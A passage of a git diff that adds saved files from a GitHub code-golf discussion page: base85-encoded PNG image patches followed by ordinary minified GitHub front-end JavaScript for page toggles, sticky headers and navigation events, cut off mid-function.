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 literal 0 HcmV?d00001 diff --git a/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/50341827_002.png b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/50341827_002.png new file mode 100644 index 0000000000000000000000000000000000000000..8ef64b2c24c3cbe04945ff1d3784fa7eeb967e6c GIT binary patch literal 3124 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 x=Object.defineProperty;var t=(R,L)=>x(R,"name",{value:L,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_behaviors_details_ts-app_assets_modules_github_behaviors_include-fr-a5a4c7"],{47930:(R,L,r)=>{r.d(L,{S:()=>y});function d(p){const o=document.querySelectorAll(p);if(o.length>0)return o[o.length-1]}t(d,"queryLast");function A(){const p=d("meta[name=analytics-location]");return p?p.content:window.location.pathname}t(A,"pagePathname");function _(){const p=d("meta[name=analytics-location-query-strip]");let o="";p||(o=window.location.search);const a=d("meta[name=analytics-location-params]");a&&(o+=(o?"&":"?")+a.content);for(const i of document.querySelectorAll("meta[name=analytics-param-rename]")){const m=i.content.split(":",2);o=o.replace(new RegExp(`(^|[?&])${m[0]}($|=)`,"g"),`$1${m[1]}$2`)}return o}t(_,"pageQuery");function y(){return`${window.location.protocol}//${window.location.host}${A()+_()}`}t(y,"requestUri")},10178:(R,L,r)=>{r.d(L,{O4:()=>C,jo:()=>T,Qp:()=>S});var d=r(33948),A=r(59753);const _="ontransitionend"in window;function y(n,l){if(!_){l();return}const g=Array.from(n.querySelectorAll(".js-transitionable"));n.classList.contains("js-transitionable")&&g.push(n);for(const f of g){const w=p(f);f instanceof HTMLElement&&(f.addEventListener("transitionend",()=>{f.style.display="",f.style.visibility="",w&&o(f,function(){f.style.height=""})},{once:!0}),f.style.boxSizing="content-box",f.style.display="block",f.style.visibility="visible",w&&o(f,function(){f.style.height=getComputedStyle(f).height}),f.offsetHeight)}l();for(const f of g)if(f instanceof HTMLElement&&p(f)){const w=getComputedStyle(f).height;f.style.boxSizing="",w==="0px"?f.style.height=`${f.scrollHeight}px`:f.style.height="0px"}}t(y,"performTransition");function p(n){return getComputedStyle(n).transitionProperty==="height"}t(p,"isTransitioningHeight");function o(n,l){n.style.transition="none",l(),n.offsetHeight,n.style.transition=""}t(o,"withoutTransition");var a=r(96776);function i(n,l){l.find(g=>{const f=n.querySelectorAll(g),w=f[f.length-1];if(w&&document.activeElement!==w)return w.focus(),!0})}t(i,"findAndFocusByQuerySelector");function m(n){i(n,[".js-focus-on-dismiss","input[autofocus], textarea[autofocus]"])}t(m,"restoreAutofocus");function c(n){!n.classList.contains("tooltipped")||(n.classList.remove("tooltipped"),n.addEventListener("mouseleave",()=>{n.classList.add("tooltipped"),n.blur()},{once:!0}))}t(c,"hideTooltip");function E(n){return[...document.querySelectorAll(".js-details-container")].filter(l=>l.getAttribute("data-details-container-group")===n)}t(E,"groupMembers");function h(n){return[...n.querySelectorAll(".js-details-target")].filter(l=>l.closest(".js-details-container")===n)}t(h,"containerTargets");function v(n,l){const g=n.getAttribute("data-details-container-group");return g?((0,a.uQ)(n,()=>{for(const f of E(g))f!==n&&s(f,l)}),g):null}t(v,"toggleGroup");function s(n,l){n.classList.toggle("open",l),n.classList.toggle("Details--on",l);for(const g of h(n))g.setAttribute("aria-expanded",l.toString())}t(s,"updateOpenState");function S(n,l){var g,f;const w=n.getAttribute("data-details-container")||".js-details-container",M=n.closest(w),D=(g=l==null?void 0:l.force)!=null?g:!M.classList.contains("open"),I=(f=l==null?void 0:l.withGroup)!=null?f:!1;y(M,()=>{s(M,D);const e=I?v(M,D):null;Promise.resolve().then(()=>{m(M),c(n),M.dispatchEvent(new CustomEvent("details:toggled",{bubbles:!0,cancelable:!1,detail:{open:D}})),e&&M.dispatchEvent(new CustomEvent("details:toggled-group",{bubbles:!0,cancelable:!1,detail:{open:D,group:e}}))})})}t(S,"toggleDetailsTarget");function T(n){const l=n.getAttribute("data-details-container")||".js-details-container",f=n.closest(l).classList;return f.contains("Details--on")||f.contains("open")}t(T,"isDetailsTargetExpanded");function O(n){const l=n.altKey,g=n.currentTarget;S(g,{withGroup:l}),n.preventDefault()}t(O,"handleDetailsTargetClick"),(0,A.on)("click",".js-details-target",O),(0,d.Z)(function({target:n}){n&&C(n)});function C(n){let l=!1,g=n.parentElement;for(;g;)g.classList.contains("Details-content--shown")&&(l=!0),g.classList.contains("js-details-container")&&(g.classList.toggle("open",!l),g.classList.toggle("Details--on",!l),l=!1),g=g.parentElement}t(C,"ensureExpanded")},30479:(R,L,r)=>{r.d(L,{h:()=>A});var d=r(59753);(0,d.on)("click",".js-skip-to-content",function(i){const m=document.getElementById("start-of-content");if(m){const c=m.nextElementSibling;c instanceof HTMLElement&&(c.setAttribute("tabindex","-1"),c.setAttribute("data-skipped-to-content","1"),c.focus())}i.preventDefault()});function A(){let i=!1;const m=document.getElementById("start-of-content");if(m){const c=m.nextElementSibling;if(c instanceof HTMLElement)return i=c.getAttribute("data-skipped-to-content")==="1",i&&c.removeAttribute("data-skipped-to-content"),i}}t(A,"hasSkippedToContent");const _="ontouchstart"in document;function y(){return window.innerWidth>1012}t(y,"compatibleDesktop");for(const i of document.querySelectorAll(".HeaderMenu-details"))i.addEventListener("toggle",o),_||(i.addEventListener("mouseover",a),i.addEventListener("mouseleave",a));let p=!1;function o(i){if(!p){p=!0;for(const m of document.querySelectorAll(".HeaderMenu-details"))m!==i.currentTarget&&m.removeAttribute("open");setTimeout(()=>p=!1)}}t(o,"onMenuToggle");function a(i){const{currentTarget:m}=i;!(m instanceof HTMLElement)||!y()||(i.type==="mouseover"&&i instanceof MouseEvent?i.target instanceof Node&&i.relatedTarget instanceof Node&&m.contains(i.target)&&!m.contains(i.relatedTarget)&&m.setAttribute("open",""):m.removeAttribute("open"))}t(a,"onMenuHover")},55444:(R,L,r)=>{r.d(L,{$:()=>i,G:()=>a});var d=r(6741),A=r(64463),_=r(59753);(0,A.N7)("include-fragment, poll-include-fragment",{subscribe:c=>(0,d.qC)((0,d.RB)(c,"error",o),(0,d.RB)(c,"loadstart",p))}),(0,_.on)("click","include-fragment button[data-retry-button]",({currentTarget:c})=>{const E=c.closest("include-fragment"),h=E.src;E.src="",E.src=h});function y(c,E){const h=c.currentTarget;if(h instanceof Element){for(const v of h.querySelectorAll("[data-show-on-error]"))v instanceof HTMLElement&&(v.hidden=!E);for(const v of h.querySelectorAll("[data-hide-on-error]"))v instanceof HTMLElement&&(v.hidden=E)}}t(y,"toggleElements");function p(c){y(c,!1)}t(p,"onLoad");function o(c){y(c,!0)}t(o,"onError");function a({currentTarget:c}){c instanceof Element&&i(c)}t(a,"loadDeferredContentByEvent");function i(c){const E=c.closest("details");E&&m(E)}t(i,"loadDeferredContent");function m(c){const E=c.getAttribute("data-deferred-details-content-url");if(E){c.removeAttribute("data-deferred-details-content-url");const h=c.querySelector("include-fragment, poll-include-fragment");h&&(h.src=E)}}t(m,"setIncludeFragmentSrc")},79775:(R,L,r)=>{r.d(L,{O3:()=>a,SX:()=>y,_g:()=>p,a8:()=>_,lB:()=>o});let d=0;const A=new Set;function _(i){A.add(i)}t(_,"observeStickyHeaderHeight");function y(i){A.delete(i)}t(y,"unobserveStickyHeaderHeight");function p(){return d}t(p,"getBaseStickyHeaderHeight");function o(i){d=i,i?document.body.style.setProperty("--base-sticky-header-height",`${i}px`):document.body.style.removeProperty("--base-sticky-header-height");for(const m of A)m(i)}t(o,"setBaseStickyHeaderHeight");const a="var(--base-sticky-header-height, 0px)"},55898:(R,L,r)=>{r.d(L,{H:()=>c});var d=r(30479),A=r(7739),_=r(64463),y=r(79775);let p=!1;const o=[];function a(){o.length?i():m()}t(a,"manageObservers");function i(){p||(window.addEventListener("resize",E),document.addEventListener("scroll",E),p=!0)}t(i,"addObservers");function m(){window.removeEventListener("resize",E),document.removeEventListener("scroll",E),p=!1}t(m,"removeObservers");function c(){h(!0)}t(c,"forceStickyRelayout");function E(){h()}t(E,"checkElementsForStickingHandler");function h(e=!1){for(const u of o)if(u.element.offsetHeight>0){const{element:b,placeholder:P,top:k}=u,B=b.getBoundingClientRect();if(P){const H=P.getBoundingClientRect();b.classList.contains("is-stuck")?H.top>D(b,k)?S(u):T(u):B.top<=D(b,k)?s(u):e&&T(u)}else B.top-D(b,k)<.1?s(u):S(u)}}t(h,"checkElementsForSticking");function v(e){const{position:u}=window.getComputedStyle(e);return/sticky/.test(u)}t(v,"browserHasSticky");function s({element:e,placeholder:u,top:b}){if(u){const P=e.getBoundingClientRect();I(e,D(e,b)),e.style.left=`${P.left}px`,e.style.width=`${P.width}px`,e.style.marginTop="0",e.style.position="fixed",u.style.display="block"}e.classList.add("is-stuck")}t(s,"pinSet");function S({element:e,placeholder:u}){u&&(e.style.position="static",e.style.marginTop=u.style.marginTop,u.style.display="none"),e.classList.remove("is-stuck")}t(S,"unpinSet");function T({element:e,placeholder:u,offsetParent:b,top:P}){if(u&&!(0,d.h)()){const k=e.getBoundingClientRect(),B=u.getBoundingClientRect();if(I(e,D(e,P)),e.style.left=`${B.left}px`,e.style.width=`${B.width}px`,b){const H=b.getBoundingClientRect();H.bottomb.element).indexOf(e);o.splice(u,1)}t(n,"removeSet");async function l(e){await A.C,C(e),h(),a()}t(l,"initializeSet"),(0,_.N7)(".js-sticky",{constructor:HTMLElement,add(e){!e.isConnected||l(e)},remove(e){n(e),a()}}),(0,_.N7)(".js-notification-top-shelf",{constructor:HTMLElement,add(e){g(e)},remove(){(0,y._g)()>0&&((0,y.lB)(0),f(),c())}}),(0,_.N7)(".js-notification-shelf-offset-top, .js-position-sticky",{constructor:HTMLElement,add:w});async function g(e){if(e.offsetParent===null)return;await A.C;const u=Math.floor(e.getBoundingClientRect().height);u>0&&((0,y.lB)(u),f(),c())}t(g,"initializeNotificationShelf");function f(){for(const e of document.querySelectorAll(".js-position-sticky, .js-notification-shelf-offset-top"))w(e)}t(f,"updateTopOffsets");function w(e){if(e.classList.contains("js-notification-top-shelf"))return;const u=parseInt(M(e))||0;I(e,u+(0,y._g)())}t(w,"updateTopOffset");function M(e){const u=e.getAttribute("data-original-top");if(u!=null)return u;const b=window.getComputedStyle(e).top;return e.setAttribute("data-original-top",b),b}t(M,"getOriginalTop");function D(e,u){return e.classList.contains("js-notification-top-shelf")?u:u+(0,y._g)()}t(D,"withShelfOffset");function I(e,u){e.style.setProperty("top",`${u}px`,"important")}t(I,"setTopImportant")},84818:(R,L,r)=>{r.d(L,{Z:()=>A});class d{getItem(){return null}setItem(){}removeItem(){}clear(){}key(){return null}get length(){return 0}}t(d,"NoOpStorage");function A(_,y={throwQuotaErrorsOnSet:!1},p=window){let o;try{o=p[_]}catch{o=new d}const{throwQuotaErrorsOnSet:a}=y;function i(E){try{return o.getItem(E)}catch{return null}}t(i,"getItem");function m(E,h){try{o.setItem(E,h)}catch(v){if(a&&v.message.toLowerCase().includes("quota"))throw v}}t(m,"setItem");function c(E){try{o.removeItem(E)}catch{}}return t(c,"removeItem"),{getItem:i,setItem:m,removeItem:c}}t(A,"safeStorage")},24216:(R,L,r)=>{r.d(L,{LS:()=>_,cl:()=>y,rV:()=>A});var d=r(84818);const{getItem:A,setItem:_,removeItem:y}=(0,d.Z)("sessionStorage")},29946:(R,L,r)=>{r.d(L,{Ak:()=>s,F2:()=>w,F6:()=>n,FP:()=>h,LD:()=>E,OE:()=>c,Po:()=>m,QE:()=>y,Rl:()=>g,Xk:()=>O,Ys:()=>C,aN:()=>f,wP:()=>l});var d=r(24216),A=r(47930),_=r(45922);const y=Object.freeze({INITIAL:"soft-nav:initial",SUCCESS:"soft-nav:success",ERROR:"soft-nav:error",FRAME_UPDATE:"soft-nav:frame-update",START:"soft-nav:start",END:"soft-nav:end"}),p="soft-navigation-fail",o="soft-navigation-referrer",a="soft-navigation-marker",i="reload";function m(){return(0,d.rV)(a)==="1"}t(m,"inSoftNavigation");function c(){return Boolean(S())}t(c,"hasSoftNavFailure");function E(){performance.mark(a),(0,d.LS)(a,"1"),(0,d.LS)(o,(0,A.S)()||window.location.href)}t(E,"startSoftNav");function h(){(0,d.LS)(a,"0")}t(h,"endSoftNav");function v(){(0,d.LS)(a,"0"),(0,d.cl)(o),(0,d.cl)(p)}t(v,"clearSoftNav");function s(M){(0,d.LS)(p,M||i)}t(s,"setSoftNavFailReason");function S(){return(0,d.rV)(p)}t(S,"getSoftNavFailReason");let T=0;function O(){T+=1,document.dispatchEvent(new CustomEvent(y.SUCCESS,{detail:T}))}t(O,"softNavSucceeded");function C(){const M=S()||i;document.dispatchEvent(new CustomEvent(y.ERROR,{detail:M})),T=0,v(),(0,_.b)({turboFailureReason:M})}t(C,"softNavFailed");function n(){document.dispatchEvent(new CustomEvent(y.INITIAL)),T=0,v()}t(n,"softNavInitial");function l(){return(0,d.rV)(o)||document.referrer}t(l,"getSoftNavReferrer");function g(){return performance.getEntriesByName(a).length===0?0:performance.measure(a,a).duration}t(g,"getDurationSinceLastSoftNav");function f(){document.dispatchEvent(new Event(y.START))}t(f,"beginProgressBar");function w(){document.dispatchEvent(new Event(y.END))}t(w,"completeProgressBar")},11820:(R,L,r)=>{r.d(L,{kc:()=>y,lA:()=>p,zT:()=>_});var d=r(61161),A=r(55898);function _(o){if(o.hasAttribute("data-ignore-sticky-scroll"))return;const 